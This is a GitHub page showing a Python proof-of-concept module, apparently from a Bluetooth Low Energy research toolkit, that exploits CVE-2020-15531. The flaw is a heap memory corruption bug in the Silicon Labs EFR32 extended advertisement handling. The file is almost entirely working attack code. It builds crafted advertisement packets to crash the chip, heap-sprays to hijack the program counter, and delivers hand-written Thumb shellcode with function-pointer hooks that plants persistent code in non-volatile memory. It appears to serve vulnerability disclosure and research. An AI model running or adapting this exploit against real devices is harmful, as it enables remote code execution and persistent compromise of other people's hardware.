darkmentorllc Changed the dest addr to overwrite to increase PoC success rate ... History

1 contributor

181 lines (135 sloc) | 7.12 KB

```python
import time
import struct

class TestSet():

    def __init__(self, subparsers):
        self.cmd = 'silabs_extadv_rce'

        self.parser = subparsers.add_parser(self.cmd,
                        help='[CVE-2020-15531] Silicon Labs EFR32 Extended Advertisement Heap Memory Corruption RCE PoC')
        self.parser.add_argument('action', choices=['crash', 'poc', 'demo'], help='Choose an action')
        self.funcs = {'crash':self.crash, 'poc':self.poc, 'demo':self.demo}

    def getCmd(self):
        return self.cmd

    def run(self, hci_manager, action):
        self.hm = hci_manager
        self.funcs[action]()

    # generate packets to cause a hardfault
    def crash(self):
        self.hm.set_filter()
        time.sleep(1)

        self.hm.set_ext_adv_params()
        self.hm.enable_custom_ac_pdu(True)
        self.hm.send_ac_pdu_header(0)
        self.hm.send_ac_pdu_payload(b"\x07\x00", False)
        self.hm.enable_ext_adv(True)

        shellcode    = b"\x41" * 253
        self.hm.send_ac_pdu_header(0x07)
        params = struct.pack("B", 0x3c) + struct.pack("B", 0x00) +  shellcode

        for i in range(0, 3):
            self.hm.send_ac_pdu_payload(params, True)

        self.hm.stop(None, None)

    # generate packets to overwrite PC with 0x41414141
    def poc(self):
        self.hm.set_filter()
        time.sleep(1)

        self.hm.set_ext_adv_params()
        self.hm.enable_custom_ac_pdu(True)
        self.hm.send_ac_pdu_header(0)
        self.hm.send_ac_pdu_payload(b"\x07\x00", False)
        self.hm.enable_ext_adv(True)

        shellcode    = b"\x41" * 255

        spray_max = 15
        cnt = 0

        # repeated attempts are necessary for a successful PC overwrite
        while True:
            self.hm.send_ac_pdu_header(0x07)

            if cnt == spray_max:
                bulk = b"\x00\x20\x7c\x40" * 64
                params = struct.pack("B", 0x3c) + struct.pack("B", 0x00) +  bulk[:253]
            elif cnt < spray_max:
                bulk = b"\x00\x20\x7c\x40" * 64
                params = struct.pack("B", 0x10) + struct.pack("B", 0x00) +  bulk[:253]
            else:
                bulk = shellcode
                params = struct.pack("B", 0x10) + struct.pack("B", 0x00) +  bulk[:253]

            if cnt == 29:
                self.hm.enable_ext_adv(False)
                time.sleep(10)
                self.hm.enable_ext_adv(True)

            cnt = (cnt + 1) % 30

            print("pdu_lsb 0x%x pdu_len 0x%x" % (0x07, len(params)))
            self.hm.send_ac_pdu_payload(params, True)

        self.hm.stop(None, None)

    # generate packets to overwrite non-volatile memory for the persistence
    #
    # The persistence code will start advertising with local name "Still Here!!"
    # when the target starts scanning
    def demo(self):
        self.hm.set_filter()
        time.sleep(1)

        self.hm.set_ext_adv_params()
        self.hm.enable_custom_ac_pdu(True)
        self.hm.send_ac_pdu_header(0)
        self.hm.send_ac_pdu_payload(b"\x07\x00", False)
        self.hm.enable_ext_adv(True)

        # 0x00 - 0x1e (0x02), 0
        # 0x0f - 0x36 (0x12) ?
        # 0x37 - 0x7b (0x37), 0x39
        # 0x7c - 0xc0 (0x7c), 0x7e
        # 0xc1 - 0xfc (0xc1), 0xc3

        shellcode    = b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"

        # shellcode += b"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
        shellcode   += b"\x10\x11\xdf\xf8\x14\x70\xdf\xf8\x14\x80\xdf\xf8\x14\x90\x5b\xf8"

        # shellcode += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
        shellcode   += b"\x19\x6c\x06\xf1\x0d\x05\x20\xb4\x00\xbd\xdf\x12\x03\x00\xb5\x0c"

        # shellcode += b"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
        shellcode   += b"\x01\x00\x19\x0c\x01\x00\x36\x06\x22\x0f\xf2\x28\x01\x4f\xf4\x7a"

        # \x43\x44\x45\x46, function pointer hooking
        # shellcode += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
        shellcode   += b"\x40\x05\xe0\xad\x40\x00\x20\x0b\xf1\x14\x05\x20\xb4\x00\xbd\xc8"

        # shellcode += b"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
        shellcode   += b"\x47\x4a\xf6\x5d\x74\xc0\xf2\x02\x04\x36\x68\x06\xf1\x0d\x05\x20"

        # shellcode += b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
        shellcode   += b"\xb4\x00\xbd\x53\x74\x69\x6c\x6c\x20\x68\x65\x72\x65\x21\x21\x00"

        # shellcode += b"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
        shellcode   += b"\x08\x00\x20\x00\x02\x02\x00\xa9\x9d\x02\x00\x7b\x36\x68\xdf\xf8"

        # \x88\x89\x8a\x8b, function pointer hooking
        # shellcode += b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
        shellcode   += b"\x3c\xa0\x5f\xf0\x1c\x0b\x05\xe0\xad\x40\x00\x20\x0b\xf1\x14\x05"

        # shellcode += b"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
        shellcode   += b"\x20\xb4\x00\xbd\x4f\xea\x0b\x3b\x4f\xf4\x00\x52\x59\x46\x50\x46"

        # shellcode += b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
        shellcode   += b"\xb8\x47\x20\x22\x06\xf1\x28\x01\x40\xf2\x52\x50\x50\x44\xb8\x47"

        # shellcode += b"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
        shellcode   += b"\x58\x46\xc0\x47\x06\xf1\x0d\x05\x20\xb4\x00\xbd\x00\xe0\x00\x20"

        # \xcd\xce\xcf\xd0, function pointer hooking
        # shellcode += b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
        shellcode   += b"\xc0\x4f\xf4\x00\x62\x51\x46\x58\x46\xc8\x47\x05\xe0\xad\x40\x00"

        # shellcode += b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
        shellcode   += b"\x20\x0b\xf1\x14\x05\x20\xb4\x00\xbd\xa0\x47\x00\xbf\x0d\x22\x4f"

        # shellcode += b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
        shellcode   += b"\xf4\x7a\x47\x39\x46\xf8\x68\x14\xf0\xbf\xfe\x07\xf1\x10\x02\x79"

        # shellcode += b"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc"
        shellcode   += b"\x69\x4f\xf4\x48\x70\xc1\xf2\x03\x40\xfc\xf7\x3f\xfe"

        spray_max = 15
        cnt = 0

        # repeated attempts are necessary for a successful code execution
        while True:
            self.hm.send_ac_pdu_header(0x07)

            if cnt == spray_max:
                bulk = b"\x00\x20\x90\x40" * 64
                params = struct.pack("B", 0x3c) + struct.pack("B", 0x00) +  bulk[:253]
            elif cnt < spray_max:
                bulk = b"\x00\x20\x90\x40" * 64
                params = struct.pack("B", 0x10) + struct.pack("B", 0x00) +  bulk[:253]
            else:
                bulk = shellcode
                print("shellocode length %x" % len(shellcode))
                params = struct.pack("B", 0x10) + struct.pack("B", 0x00) +  bulk[:253]

            if cnt == 29:
                self.hm.enable_ext_adv(False)
                time.sleep(10)
                self.hm.enable_ext_adv(True)

            cnt = (cnt + 1) % 30

            print("pdu_lsb 0x%x pdu_len 0x%x" % (0x07, len(params)))
            self.hm.send_ac_pdu_payload(params, True)

        self.hm.stop(None, None)
```